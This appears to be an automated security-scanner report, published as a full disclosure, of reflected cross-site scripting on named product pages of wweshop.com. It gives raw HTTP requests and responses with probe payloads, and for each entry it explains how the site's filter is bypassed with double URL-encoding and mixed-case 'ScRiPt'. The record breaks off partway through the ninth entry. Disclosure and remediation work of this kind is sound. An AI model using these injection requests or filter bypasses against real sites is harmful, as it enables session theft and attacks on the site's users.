Current Research | Full Disclosure | As of March 14, 2011

Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by XSS.CX at Sat Nov 13 20:04:49 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://www.wweshop.com/item/50-top-superstars-in-wwe-history-dvd/NewReleases/35-00722 [REST URL parameter 3]

1.2. http://www.wweshop.com/item/history-of-the-wwe-championship-hardcover-book/NewReleases/77-00130 [REST URL parameter 3]

1.3. http://www.wweshop.com/item/john-cena-cenation-scarf/NewReleases/50-06500 [REST URL parameter 3]

1.4. http://www.wweshop.com/item/john-cena-cenation-top-rope-sweatshirt/NewReleases/04-00841 [REST URL parameter 3]

1.5. http://www.wweshop.com/item/john-cena-experience-dvd-t-shirt-with-bonus-signed-card-package/newreleases/50-07010 [REST URL parameter 3]

1.6. http://www.wweshop.com/item/john-morrison-jmo-basics-t-shirt/NewReleases/01-12781 [REST URL parameter 3]

1.7. http://www.wweshop.com/item/john-morrison-jmo-basics-youth-t-shirt/NewReleases/01-12777 [REST URL parameter 3]

1.8. http://www.wweshop.com/item/john-morrison-jo-mo-scarf/NewReleases/50-06501 [REST URL parameter 3]

1.9. http://www.wweshop.com/item/kofi-kingston-boom-squad-scarf/NewReleases/50-06502 [REST URL parameter 3]

1.10. http://www.wweshop.com/item/nexus-logo-trucker-cap/NewReleases/02-00716 [REST URL parameter 3]

1.11. http://www.wweshop.com/item/nexus-scarf/NewReleases/50-06724 [REST URL parameter 3]

1.12. http://www.wweshop.com/item/old-school-block-logo-waffle-long-sleeve-t-shirt/NewReleases/01-12490 [REST URL parameter 3]

1.13. http://www.wweshop.com/item/old-school-graphite-block-logo-t-shirt/NewReleases/01-12481 [REST URL parameter 3]

1.14. http://www.wweshop.com/item/old-school-raw-is-war-t-shirt/NewReleases/01-12476 [REST URL parameter 3]

1.15. http://www.wweshop.com/item/randy-orton-lobotomy-top-rope-sweatshirt/NewReleases/04-00845 [REST URL parameter 3]

1.16. http://www.wweshop.com/item/randy-orton-viper-basics-t-shirt/NewReleases/01-12746 [REST URL parameter 3]

1.17. http://www.wweshop.com/item/randy-orton-viper-basics-youth-t-shirt/NewReleases/01-12742 [REST URL parameter 3]

1.18. http://www.wweshop.com/item/randy-orton-viper-scarf/NewReleases/50-06505 [REST URL parameter 3]

1.19. http://www.wweshop.com/item/rey-mysterio-619-scarf/NewReleases/50-06504 [REST URL parameter 3]

1.20. http://www.wweshop.com/item/triple-h-return-to-fear-top-rope-sweatshirt/NewReleases/04-00849 [REST URL parameter 3]



1. Cross-site scripting (reflected)
There are 20 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.wweshop.com/item/50-top-superstars-in-wwe-history-dvd/NewReleases/35-00722 [REST URL parameter 3]  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/50-top-superstars-in-wwe-history-dvd/NewReleases/35-00722

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8364b%253c%252fScRiPt%2520%253e%253ca%253e6f46171b1a7 was submitted in the REST URL parameter 3. This input was echoed as 8364b</ScRiPt ><a>6f46171b1a7 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/50-top-superstars-in-wwe-history-dvd/NewReleases8364b%253c%252fScRiPt%2520%253e%253ca%253e6f46171b1a7/35-00722 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 53924
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=W02890%5F35%2D00722%5F50+Top+Superstars+in+WWE+History+DVD%5F5%5F22%2E99%5FY%2A%2A%2A&CARTID=2010111119393271571466790&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=PHPLHCECNOKPAOALODJFHGOA; path=/
Date: Fri, 12 Nov 2010 00:39:32 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - 50 To
...[SNIP]...
ar s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::50-top-superstars-in-wwe-history-dvd"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases8364b</script ><a>6f46171b1a7"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.2. http://www.wweshop.com/item/history-of-the-wwe-championship-hardcover-book/NewReleases/77-00130 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/history-of-the-wwe-championship-hardcover-book/NewReleases/77-00130

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b85f0%253c%252fScRiPt%2520%253e%253ca%253e55a39adf313 was submitted in the REST URL parameter 3. This input was echoed as b85f0</ScRiPt ><a>55a39adf313 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/history-of-the-wwe-championship-hardcover-book/NewReleasesb85f0%253c%252fScRiPt%2520%253e%253ca%253e55a39adf313/77-00130 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 53871
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=W02850%5F77%2D00130%5FHistory+of+the+WWE+Championship+Hardcover+Book%5F%5F18%2E99%5FN%2A%2A%2A&CARTID=2010111119394789857736932&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=DNIPFBECGHPJAAHAMOOCHODF; path=/
Date: Fri, 12 Nov 2010 00:39:47 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - Histo
...[SNIP]...
0="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::history-of-the-wwe-championship-hardcover-book"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleasesb85f0</script ><a>55a39adf313"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.3. http://www.wweshop.com/item/john-cena-cenation-scarf/NewReleases/50-06500 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/john-cena-cenation-scarf/NewReleases/50-06500

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e41a2%253c%252fScRiPt%2520%253e%253ca%253e3afb6755368 was submitted in the REST URL parameter 3. This input was echoed as e41a2</ScRiPt ><a>3afb6755368 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/john-cena-cenation-scarf/NewReleasese41a2%253c%252fScRiPt%2520%253e%253ca%253e3afb6755368/50-06500 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 52537
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=06668%5F50%2D06500%5FJohn+Cena+Cenation+Scarf%5F5%5F14%2E99%5FY%2A%2A%2A&CARTID=2010111119393512540644037&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=LHIPFBECMEHFDALOIEEBAMKM; path=/
Date: Fri, 12 Nov 2010 00:39:35 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - John
...[SNIP]...
r16=""

   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::john-cena-cenation-scarf"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleasese41a2</script ><a>3afb6755368"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.4. http://www.wweshop.com/item/john-cena-cenation-top-rope-sweatshirt/NewReleases/04-00841 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/john-cena-cenation-top-rope-sweatshirt/NewReleases/04-00841

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a68c8%253c%252fScRiPt%2520%253e%253ca%253eb73995fb2d5 was submitted in the REST URL parameter 3. This input was echoed as a68c8</ScRiPt ><a>b73995fb2d5 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/john-cena-cenation-top-rope-sweatshirt/NewReleasesa68c8%253c%252fScRiPt%2520%253e%253ca%253eb73995fb2d5/04-00841 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 54186
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=06595%5F04%2D00844%5FJohn+Cena+Cenation+Top+Rope+Sweatshirt%5F%5F54%2E95%5FY%2A%2A%2A&CARTID=2010111119393127260449945&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=EHPLHCECFEGPKCEHJNDJODNL; path=/
Date: Fri, 12 Nov 2010 00:39:31 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - John
...[SNIP]...
s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::john-cena-cenation-top-rope-sweatshirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleasesa68c8</script ><a>b73995fb2d5"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.5. http://www.wweshop.com/item/john-cena-experience-dvd-t-shirt-with-bonus-signed-card-package/newreleases/50-07010 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/john-cena-experience-dvd-t-shirt-with-bonus-signed-card-package/newreleases/50-07010

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 74e03%253c%252fScRiPt%2520%253e%253ca%253e5b1a995eabd was submitted in the REST URL parameter 3. This input was echoed as 74e03</ScRiPt ><a>5b1a995eabd in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/john-cena-experience-dvd-t-shirt-with-bonus-signed-card-package/newreleases74e03%253c%252fScRiPt%2520%253e%253ca%253e5b1a995eabd/50-07010 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 54444
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=06742%5F50%2D07013%5FJohn+Cena+Experience+DVD%2FT%2DShirt+%28with+Bonus+Signed+Card%29+Package%5F5%5F31%2E99%5FY%2A%2A%2A&CARTID=2010111119393186617496454&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=MFIPFBECJENLIEBBJJNMKDEJ; path=/
Date: Fri, 12 Nov 2010 00:39:31 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - John
...[SNIP]...
"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::john-cena-experience-dvd/t-shirt-(with-bonus-signed-card)-package"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases74e03</script ><a>5b1a995eabd"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.6. http://www.wweshop.com/item/john-morrison-jmo-basics-t-shirt/NewReleases/01-12781 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/john-morrison-jmo-basics-t-shirt/NewReleases/01-12781

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf92d%253c%252fScRiPt%2520%253e%253ca%253e3b4c7da8d1f was submitted in the REST URL parameter 3. This input was echoed as cf92d</ScRiPt ><a>3b4c7da8d1f in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/john-morrison-jmo-basics-t-shirt/NewReleasescf92d%253c%252fScRiPt%2520%253e%253ca%253e3b4c7da8d1f/01-12781 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 52992
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=68062%5F01%2D12781%5FJohn+Morrison+JMO+Basics+T%2DShirt%5F%5F14%2E99%5FY%2A%2A%2A&CARTID=2010111119394134086704217&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=MKIPFBECAGEPNANNBAEGCFHF; path=/
Date: Fri, 12 Nov 2010 00:39:41 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - John
...[SNIP]...

   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::john-morrison-jmo-basics-t-shirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleasescf92d</script ><a>3b4c7da8d1f"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.7. http://www.wweshop.com/item/john-morrison-jmo-basics-youth-t-shirt/NewReleases/01-12777 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/john-morrison-jmo-basics-youth-t-shirt/NewReleases/01-12777

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload afd39%253c%252fScRiPt%2520%253e%253ca%253e0a4f1cb70d4 was submitted in the REST URL parameter 3. This input was echoed as afd39</ScRiPt ><a>0a4f1cb70d4 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/john-morrison-jmo-basics-youth-t-shirt/NewReleasesafd39%253c%252fScRiPt%2520%253e%253ca%253e0a4f1cb70d4/01-12777 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 53085
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=68061%5F01%2D12779%5FJohn+Morrison+JMO+Basics+Youth+T%2DShirt%5F5%5F9%2E99%5FY%2A%2A%2A&CARTID=2010111119393482131385004&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDCSASQRTS=GHIPFBECHPGGMHIEFKEEFCHI; path=/
Date: Fri, 12 Nov 2010 00:39:34 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - John
...[SNIP]...
s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::john-morrison-jmo-basics-youth-t-shirt"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleasesafd39</script ><a>0a4f1cb70d4"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.8. http://www.wweshop.com/item/john-morrison-jo-mo-scarf/NewReleases/50-06501 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/john-morrison-jo-mo-scarf/NewReleases/50-06501

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4270f%253c%252fScRiPt%2520%253e%253ca%253e5cfd9363293 was submitted in the REST URL parameter 3. This input was echoed as 4270f</ScRiPt ><a>5cfd9363293 in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out. Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.

Request

GET /item/john-morrison-jo-mo-scarf/NewReleases4270f%253c%252fScRiPt%2520%253e%253ca%253e5cfd9363293/50-06501 HTTP/1.1
Host: www.wweshop.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 52675
Content-Type: text/html
X-Powered-By: ASP.NET
Set-Cookie: WWE=Omniture%2EProducts=&Omniture%2EEvents=; expires=Fri, 12-Nov-2010 05:00:00 GMT; path=/
Set-Cookie: WWESHOP=cRecentlyViewed=68016%5F50%2D06501%5FJohn+Morrison+Jo+Mo+Scarf%5F%5F14%2E99%5FY%2A%2A%2A&CARTID=2010111119393791438007318&nCCart%5FItemCount=0; expires=Sat, 22-Jan-2011 05:00:00 GMT; path=/
Set-Cookie: source=; path=/
Set-Cookie: ASPSESSIONIDAQDQQRST=LKPLHCECGFHHOGICLGIBIGII; path=/
Date: Fri, 12 Nov 2010 00:39:37 GMT
Connection: close


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   
       <title>WWEShop - John
...[SNIP]...
16=""

   var s_eVar20="wweshop:category"
   var s_eVar21="wweshop:category:"    
   var s_eVar22="wweshop:category::john-morrison-jo-mo-scarf"    
   var s_eVar23="new release"    
   var s_eVar24="cat-newreleases4270f</script ><a>5cfd9363293"    
   
   var ref = getQueryVariable('referrer');
   if (ref) {
    var s_referrer = ref;
   }

</script>
...[SNIP]...

1.9. http://www.wweshop.com/item/kofi-kingston-boom-squad-scarf/NewReleases/50-06502 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.wweshop.com
Path:   /item/kofi-kingston-boom-squad-scarf/NewReleases/50-06502

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f4997%253c%252fScRiPt%2520%253e%253ca%253ebf9dd5785e9 was submitted in the REST URL parameter 3. This input was echoed as f4997</ScRiPt ><a>bf9dd5785e9 in the application's response.

